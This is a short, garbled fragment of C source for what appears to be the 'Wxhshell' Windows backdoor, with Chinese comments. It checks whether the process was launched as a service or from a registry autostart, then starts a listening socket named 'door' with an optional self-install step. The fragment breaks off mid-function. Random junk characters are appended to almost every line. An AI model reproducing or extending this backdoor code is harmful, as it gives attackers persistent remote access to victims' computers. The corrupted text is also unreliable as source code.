DWORD AffinityMask; %r:Uff@
DWORD BasePriority; ^:o^g'Yab
ULONG UniqueProcessId; sW@_q8lG
ULONG InheritedFromUniqueProcessId; b!z=:
} PROCESS_BASIC_INFORMATION; h.aXW]]}(P
uBo~PiJ2"
PROCNTQSIP NtQueryInformationProcess; #!]~E@;E
OH vV_
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;VPYWss
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ljk,R
G
B..> *Xb
HANDLE hProcess; zR }vw{
PROCESS_BASIC_INFORMATION pbi; @}A3ie'w
uSNlI78D
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8Y~\:3&1<
if(NULL == hInst ) return 0; `FIS2sl/
<f@
A\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -KiI&Q
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O[HBw~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7u[$
lBOxB/`
if (!NtQueryInformationProcess) return 0; ?xzDz
s"0Hz"[^=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r?=3TAA
if(!hProcess) return 0; Uy{ZK*c8i
jGOE
CKP
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0|`iop%(n
M[Mx
g
CloseHandle(hProcess); QQX7p!~E
{3\{aZ8)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XM?C7/^k
if(hProcess==NULL) return 0; 3qrjb]E%}
$WZHkV
HMODULE hMod; Z`{GjV3%wH
char procName[255]; Xa&0j&AH
unsigned long cbNeeded; 604^~6
78FK{Cr
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cg%}=
n,%/cUl
CloseHandle(hProcess); jg=}l1M"
wXU gxa
if(strstr(procName,"services")) return 1; // 以服务启动 LKu
,H
@i@f@.t
return 0; // 注册表启动 87:V-*8
} 3>buZ6vh
Ct9*T`Gl
// 主模块 j79$/ Ol
int StartWxhshell(LPSTR lpCmdLine) oJVpJA0IA
{ t3;QF
SOCKET wsl; D
P+W*87J
BOOL val=TRUE; '8UhYwyr
int port=0; -^= JKd&p
struct sockaddr_in door; j9$kaEf
8jU6N*p/
if(wscfg.ws_autoins) Install(); 5Q@4@b{C
Ia*T*qJu
port=atoi(lpCmdLine); e><